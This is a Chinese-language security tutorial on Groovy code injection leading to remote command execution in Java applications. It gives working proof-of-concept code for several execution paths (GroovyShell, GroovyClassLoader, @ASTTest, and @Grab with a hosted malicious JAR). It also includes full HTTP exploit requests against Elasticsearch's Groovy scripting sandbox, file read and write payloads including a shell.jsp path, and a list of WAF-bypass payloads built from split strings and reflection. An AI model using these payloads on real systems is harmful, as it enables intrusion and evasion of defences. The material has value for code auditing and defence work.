文章前言
Groovy是一种基于Java平台的动态语言,其设计目标是为Java开发者提供一种更简洁、高效和灵活的方式来编写代码,它与Java语言具有良好的兼容性,允许开发者在Java项目中无缝使用Groovy代码,具有简洁的语法和强大的功能可以用于脚本编写、自动化以及构建工具等多个场景,Groovy提供了与Java互操作的能力并且可以轻松地执行命令行命令,很多JAVA项目中都会使用Groovy来动态执行命令而未进行任何校验从而导致RCE,本篇文章主要是填之前迟迟没去系统性归纳Groovy所挖的坑~
简易示例
首先使用IDEA来创建一个Maven项目,随后更改pom文件加入Groovy依赖:
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.4.3</version>
</dependency>
构造代码如下:
package com.al1ex;
import groovy.lang.GroovyShell;
public class GroovyShellExample {
public static void main(String[] args) {
GroovyShell shell = new GroovyShell();
String script = "def runCalculator(){try{def process = Runtime.getRuntime().exec('calc.exe'); process.waitFor(); } catch (Exception e) { println 'Error:' + e.message;} };runCalculator()";
shell.evaluate(script);
}
}
执行效果如下:
运行方式
Java代码中常用的运行groovy方式有如下几种:
GroovyShell
基本介绍
GroovyShell是Groovy提供的一个强大工具,它可以用于动态执行Groovy代码片段,我们通过GroovyShell我们可以轻松地在Java程序中执行Groovy脚本并且能够与Java对象进行交互,下面是一个简易的执行示例:
package com.al1ex;
import groovy.lang.GroovyShell;
public class GroovyShellExample {
public static void main(String[] args) {
GroovyShell shell = new GroovyShell();
String script = "def runCalculator(){try{def process = Runtime.getRuntime().exec('calc.exe'); process.waitFor(); } catch (Exception e) { println 'Error:' + e.message;} };runCalculator()";
shell.evaluate(script);
}
}
执行效果如下:
调试分析
下面我们对执行过程进行一个调试分析:
调用groovy.lang.GroovyShell#evaluate(java.lang.String)来执行命令在这里又调用了重载的方法evaluate,在这里会随机生成一个ScripName作为groovy脚本的名称,设置执行Groovy的命令执行为/groovy/shell
继续跟进this.evaluate(gcs),继续跟进:
随后调用parse进行脚本解析并调用script.run进行执行,后续调用了底层
在执行脚本期间会加载对应的类随后执行对应的方法:
调用栈信息如下:
runCalculator:1, Script1
run:1, Script1
evaluate:589, GroovyShell (groovy.lang)
evaluate:627, GroovyShell (groovy.lang)
evaluate:598, GroovyShell (groovy.lang)
main:9, GroovyShellExample (com.al1ex)
本地加载
在上面的示例中我们是直接模拟的用户可以控制执行的脚本内容的场景,而部分场景中还涉及本地加载和远程加载两种方式,下面我们介绍本地加载方式:
加载方式1:
执行的Groovy脚本从本地加载执行:
package com.al1ex;
import groovy.lang.GroovyShell;
import groovy.lang.Script;
import java.io.File;
import java.io.IOException;
public class GroovyShellLocalRun {
public static void main(String[] args) throws IOException {
GroovyShell shell = new GroovyShell();
Script script = shell.parse(new File("src/main/java/com/groovyDemo/GroovyTest.groovy"));
script.run();
}
}
GroovyTest.groovy脚本内容如下:
package com.groovyDemo
def runCalculator(){
try{
def process = Runtime.getRuntime().exec('calc.exe');
process.waitFor();
} catch (Exception e) {
println 'Error:' + e.message;
}
}
runCalculator()
运行结果如下所示:
加载方式2
除去上面的方式之外我们还可以通过调用GroovyShell的evaluate方法进行执行
备注:这里的从本地加载的情况,当我们可以编辑Groovy文件或者通过上传Groovy文件到服务器端并可控制解析的路径时则可以充分利用
远程加载
我们除了本地加载Groovy脚本进行执行之外还可以通过远程方式来加载脚本执行,例如:
package com.al1ex;
import groovy.lang.GroovyShell;
import java.io.IOException;
import java.net.URI;
import java.net.URISyntaxException;
public class GroovyShellRemoteRun {
public static void main(String[] args) throws IOException, URISyntaxException {
GroovyShell shell = new GroovyShell();
shell.evaluate(new URI("http://127.0.0.1:8888/GroovyTest.groovy"));
}
}
MethodClosure
基本介绍
MethodClosure是Groovy中的一个类,它允许你将某个方法与特定的对象绑定在一起,它类似于Java中的闭包,但更注重方法的封装和重用,使用MethodClosure可以简化对对象方法的调用,同时也可以用于异步编程或事件处理等场景,此类场景的利用需要参数可控
调用示例
在这里直接使用MethodClosure对Runtime.getRuntim().exec进行封装,然后通过call来进行调用并传递参数,从而实现命令执行:
package com.al1ex;
import org.codehaus.groovy.runtime.MethodClosure;
public class MethodClosureRun {
public static void main(String[] args) throws Exception {
MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
mc.call("calc");
}
}
执行结果如下所示:
调用示例2
示例代码如下所示:
package com.al1ex;
import org.codehaus.groovy.runtime.MethodClosure;
public class MethodClosureRun2 {
public static void main(String[] args) {
MethodClosure methodClosure = new MethodClosure("calc", "execute");
methodClosure.call();
}
}
GroovyScriptEngine
基本介绍
GroovyScriptEngine是Groovy提供的一个强大工具,它可以用来动态加载和执行Groovy脚本,它支持从本地文件系统或远程位置(例如:如URL)加载脚本,并且可以在Groovy脚本中使用Java对象
本地加载1
示例代码如下所示:
package com.al1ex;
import groovy.util.GroovyScriptEngine;
public class GroovyScriptEngineRun {
public static void main(String[] args) throws Exception{
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("src/main/java/com/groovyDemo"); //指定包含Groovy脚本的目录
scriptEngine.run("GroovyTest.groovy", ""); //执行脚本并获取返回值
}
}
执行结果如下所示:
本地加载2
通过Binding()方式直接加载:
package com.al1ex;
import groovy.lang.Binding;
import groovy.util.GroovyScriptEngine;
public class GroovyScriptEngineRun2 {
public static void main(String[] args) throws Exception{
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("");
scriptEngine.run("src/main/java/com/groovyDemo/GroovyTest.groovy", new Binding());
}
}
执行结果如下所示:
远程加载
通过调用远程url之后调用特定脚本
package com.al1ex;
import groovy.lang.Binding;
import groovy.util.GroovyScriptEngine;
public class GroovyScriptEngineRun3 {
public static void main(String[] args) throws Exception{
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("http://127.0.0.1:8888/");
scriptEngine.run("GroovyTest.groovy", "");
}
}
执行结果如下:
备注:这里不能使用Python进行托管哦,建议直接Apache+Groovy脚本
GroovyClassLoader
基本介绍
GroovyClassLoader是Groovy提供的一个类,它可以用于动态加载和编译Groovy类,同时也可以从字符串、文件或其他资源中加载Groovy代码并将其编译为Java字节码,随后可以在Java程序中使用这些类
字符串类
下面是一则从字符串中提取加载Groovy代码的示例:
package com.al1ex;
import groovy.lang.GroovyClassLoader;
public class GroovyClassLoaderRun {
public static void main(String[] args) throws Exception {
// 创建 GroovyClassLoader 实例
GroovyClassLoader groovyClassLoader = new GroovyClassLoader();
// Groovy 源代码:包含打开计算器的方法
String groovyCode = "class CalculatorOpener { void openCalculator() { try { Runtime.getRuntime().exec(\"calc.exe\"); } catch (Exception e) { e.printStackTrace(); } } }";
try {
// 从字符串中解析并加载 Groovy 类
Class<?> calculatorOpenerClass = groovyClassLoader.parseClass(groovyCode);
// 创建 CalculatorOpener 类的实例
Object calculatorOpenerInstance = calculatorOpenerClass.getDeclaredConstructor().newInstance();
// 调用 openCalculator 方法
calculatorOpenerClass.getMethod("openCalculator").invoke(calculatorOpenerInstance);
} catch (Exception e) {
e.printStackTrace();
}
}
}
执行结果如下所示:
本地加载
Groovy脚本如下:
package com.groovyDemo
class CalculatorOpener {
void openCalculator() {
try {
// 使用 Runtime 执行 calc.exe
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
主程序代码如下:
package com.al1ex;
import groovy.lang.GroovyClassLoader;
import java.io.File;
public class GroovyClassLoaderRun2 {
public static void main(String[] args) {
// 创建 GroovyClassLoader 实例
GroovyClassLoader classLoader = new GroovyClassLoader();
try {
// 指定包含 Groovy 文件的路径(请根据实际情况修改路径)
File groovyFile = new File("src/main/java/com/groovyDemo/CalculatorOpener.groovy");
// 从文件中解析并加载Groovy类
Class<?> calculatorOpenerClass = classLoader.parseClass(groovyFile);
// 创建CalculatorOpener类的实例
Object calculatorOpenerInstance = calculatorOpenerClass.getDeclaredConstructor().newInstance();
// 调用openCalculator方法
calculatorOpenerClass.getMethod("openCalculator").invoke(calculatorOpenerInstance);
} catch (Exception e) {
e.printStackTrace();
}
}
}
运行结果如下所示:
远程加载
Groovy脚本如下:
package com.groovyDemo
class CalculatorOpener {
void openCalculator() {
try {
// 使用 Runtime 执行 calc.exe
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
主程序代码如下:
package com.al1ex;
import groovy.lang.GroovyClassLoader;
import groovy.lang.GroovyCodeSource;
import java.io.IOException;
import java.net.URL;
public class GroovyClassLoaderRun3 {
public static void main(String[] args) throws IOException {
// 创建 GroovyClassLoader 实例
GroovyClassLoader classLoader = new GroovyClassLoader();
try {
// 指定远程 Groovy 文件的 URL(请根据实际情况修改 URL)
URL groovyFileUrl = new URL("http://127.0.0.1/CalculatorOpener.groovy");
// 使用 GroovyCodeSource 包装 URL
GroovyCodeSource codeSource = new GroovyCodeSource(groovyFileUrl);
// 从 GroovyCodeSource 中解析并加载 Groovy 类
Class<?> calculatorOpenerClass = classLoader.parseClass(codeSource);
// 创建 CalculatorOpener 类的实例
Object calculatorOpenerInstance = calculatorOpenerClass.getDeclaredConstructor().newInstance();
// 调用 openCalculator 方法
calculatorOpenerClass.getMethod("openCalculator").invoke(calculatorOpenerInstance);
} catch (Exception e) {
e.printStackTrace();
} finally {
// 关闭类加载器,释放资源
classLoader.close();
}
}
}
运行结果如下所示:
ScriptEngine
基本介绍
在ScriptEngine中支持名为groovy的引擎且可用来执行Groovy代码,这点和在SpEL表达式注入漏洞中讲到的同样是利用ScriptEngine支持JS引擎从而实现绕过达到RCE是一样的
简易示例
简易示例代码如下所示:
package com.al1ex;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import javax.script.ScriptException;
public class GroovyScriptEngineExample {
public static void main(String[] args) {
// 创建 ScriptEngineManager 实例
ScriptEngineManager manager = new ScriptEngineManager();
// 获取 Groovy 引擎
ScriptEngine engine = manager.getEngineByName("groovy");
// Groovy 代码字符串
String script = "def runCalculator(){try{def process = Runtime.getRuntime().exec('calc.exe');process.waitFor();} catch (Exception e) {println 'Error:' + e.message;}};runCalculator()";
try {
// 执行 Groovy 脚本
Object result = engine.eval(script);
} catch (ScriptException e) {
e.printStackTrace();
}
}
}
执行结果如下所示:
@AST注解执行断言
基本介绍
在Groovy中@AST注解是指抽象语法树(Abstract Syntax Tree)相关的注解,这些注解可以用于修改和增强Groovy代码的编译时行为,使用AST转化可以让开发者以声明的方式扩展语言特性或实现一些元编程功能,我们也可以利用AST注解能够执行断言从而实现代码执行(本地测试无需assert也能触发代码执行)
简易示例
下面是一则简易执行示例:
this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
assert Runtime.getRuntime().exec("calc")
})
def x
''');
运行主程序如下所示:
package com.al1ex;
import groovy.lang.GroovyShell;
import groovy.lang.Script;
import java.io.File;
import java.io.IOException;
public class GroovyShellLocalRun {
public static void main(String[] args) throws IOException {
GroovyShell shell = new GroovyShell();
Script script = shell.parse(new File("src/main/java/com/groovyDemo/GroovyTest.groovy"));
script.run();
}
}
运行程序结果如下所示:
@Grab注解命令执行
基本介绍
@Grab注解是Groovy中一个非常强大的功能,它允许你在运行时动态地引入和下载依赖的库,这个注解使得Groovy脚本可以轻松地引用外部库,而不需要手动管理类路径或构建系统
简易示例
下面介绍如何通过@Grab来远程加载恶意类:
Step 1:创建一个恶意类的jar包
public class Exp {
public Exp(){
try {
java.lang.Runtime.getRuntime().exec("calc");
} catch (Exception e) { }
}
}
编译程序并使用python启动一个HTTP服务托管对应的JAR包文件
"C:\Program Files\Java\jdk1.8.0_102\bin\javac.exe" Exp.java
echo Exp > META-INF/services/org.codehaus.groovy.plugins.Runners
jar cvf poc-0.jar Exp.class META-INF
创建子目录"\test\poc\0"并将poc-0.jar文件丢进去
随后在根目录中启动HTTP服务进行托管
Step 2:构造GroovyTest.groovy文件
this.class.classLoader.parseClass('''
@GrabConfig(disableChecksums=true)
@GrabResolver(name='Exp', root='http://127.0.0.1:1234/')
@Grab(group='test', module='poc', version='0')
import Exp;
''')
上面的这段代码使用了Groovy的类加载机制和@Grab注解来动态加载远程依赖,其中this.class.classLoader获取当前类的类加载器,Groovy和Java都使用类加载器来加载类,parseClass(...)接受字符串形式的 Groovy代码并将其解析为一个类,在这个上下文中,它允许你动态地定义和加载一个Groovy类:
- @GrabConfig(disableChecksums=true):该注解用于配置@Grab的行disableChecksums=true表示在下载依赖时不检查校验和,这在某些情况下可以避免因为校验和不一致而导致的下载失败
- @GrabResolver():此注解用于定义一个自定义的解析器,name='Exp'指定了解析器的名称,而root='http://127.0.0.1:1234/'指明了从这个URL下载依赖的根路径,这里使用的是从本地主机(127.0.0.1)加载
- @Grab():此注解用于指定要下载的依赖项,group='test'、module='poc'和version='0'表示要获取的依赖的组、模块和版本信息,这些信息通常是在Maven仓库中管理的
- import Exp;:这一行导入名为Exp的类,假设之前的@Grab成功下载了该模块并且其中包含了Exp类,那么这行代码就会使得Exp可用于当前的Groovy脚本或程序中
Step 3:执行主程序代码
package com.al1ex;
import groovy.lang.GroovyShell;
import groovy.lang.Script;
import java.io.File;
import java.io.IOException;
public class GroovyShellLocalRun {
public static void main(String[] args) throws IOException {
GroovyShell shell = new GroovyShell();
Script script = shell.parse(new File("src/main/java/com/groovyDemo/GroovyTest.groovy"));
script.run();
}
}
运行结果如下所示:
备注:在使用时需要服务端包含ivy的第三方依赖库
<!-- https://mvnrepository.com/artifact/org.apache.ivy/ivy -->
<dependency>
<groupId>org.apache.ivy</groupId>
<artifactId>ivy</artifactId>
<version>2.5.2</version>
</dependency>
注入类型
这里的Groovy代码注入的利用方式主要时基于以下几类:
- 文件编辑:Groovy文件可被用户编辑并且有被业务功能调用解析
- 文件覆盖:Groovy文件可被用户上传的自定义的文件进行覆盖并且有被业务功能调用解析
- 远程加载:Groovy文件通过远程方式加载且加载的地址链接可控从而导致Groovy代码注入
- 输入可控:Groovy代码执行的位置处Groovy代码内容可控从而导致Groovy代码注入安全问题
注入案例
这里我们使用ES作为Groovy命令执行漏洞的演示案例:
漏洞复现
ElasticSearch支持使用在沙盒中的Groovy语言作为动态脚本:
执行方式1:Java沙盒绕过法
ES对执行Java代码有沙盒,在这里我们可以使用Java反射来绕过:
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
发送包含payload的数据包,执行任意命令
POST /_search HTTP/1.1
Host: 192.168.189.130:9200
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 158
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
备注:在查询时由于至少要求es中有一条数据,所以发送如下数据包增加一个数据:
POST /website/blog/ HTTP/1.1
Host: 192.168.189.130:9200
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 22
{
"name": "test"
}
执行方式2:Groovy直接执行
Groovy原本也是一门语言,所以也可以直接使用Groovy语言支持的方法来直接执行命令,无需使用Java语言:
def command="whoami";def res=command.execute().text;res
POST /_search HTTP/1.1
Host: 192.168.189.130:9200
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 122
{"script_fields": {"my_field": {"script": "def command=\"whoami\";def res=command.execute().text;res","lang":"groovy"}}}
文件读取
GroovyTest.Groovy脚本内容如下:
text = new File("C:\\Windows\\system.ini").eachLine {
println it;
}
GroovyShellLocalRun主程序代码如下所示:
package com.al1ex;
import groovy.lang.GroovyShell;
import groovy.lang.Script;
import java.io.File;
import java.io.IOException;
public class GroovyShellLocalRun {
public static void main(String[] args) throws IOException {
GroovyShell shell = new GroovyShell();
Script script = shell.parse(new File("src/main/java/com/groovyDemo/GroovyTest.groovy"));
script.run();
}
}
执行结果如下:
读取方式2:
lineList = new File("C:\\Windows\\system.ini").readLines();
lineList.each {
println it.toUpperCase();
}
文件写入
GroovyTest.Groovy脚本内容如下:
new File("C:\\Users\\RedTeam\\Desktop\\SecTest\\shell.jsp").write('Hello Al1ex');
GroovyShellLocalRun主程序代码如下所示:
package com.al1ex;
import groovy.lang.GroovyShell;
import groovy.lang.Script;
import java.io.File;
import java.io.IOException;
public class GroovyShellLocalRun {
public static void main(String[] args) throws IOException {
GroovyShell shell = new GroovyShell();
Script script = shell.parse(new File("src/main/java/com/groovyDemo/GroovyTest.groovy"));
script.run();
}
}
执行结果如下:
写入方式2:
new File("C:\\Users\\RedTeam\\Desktop\\SecTest\\shell.jsp").write("""
Good morning
Good afternoon
Good evening
""");
WAF绕过
在我们做代码审计时我们发现目标存在Groovy命令执行的风险,但是发现我们注入的命令最终被WAF拦截导致并未被执行,下面介绍几种Groovy命令执行时可用的WAF绕过方式和技巧,注意侧重于关于Groovy文件内容的编造
#常规执行
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"
#结果回显
println "whoami".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}"
#反射调用
import java.lang.reflect.Method;
Class<?> rt = Class.forName("java.lan" + "g.Run" + "time");
Method gr = rt.getMethod("getRun" + "time");
Method ex = rt.getMethod("exe" + "c", String.class);
ex.invoke(gr.invoke(null), "cal" + "c")
文末小结
本篇文章主要对JAVA中的Groovy命令执行方式以及利用场景、WAF绕过、载荷构造等进行了介绍,具体的实战环境中还需结合具体的业务和过滤情形来构造可用的载荷,灵活多变~
-
-
-
-
-
-
-
-
-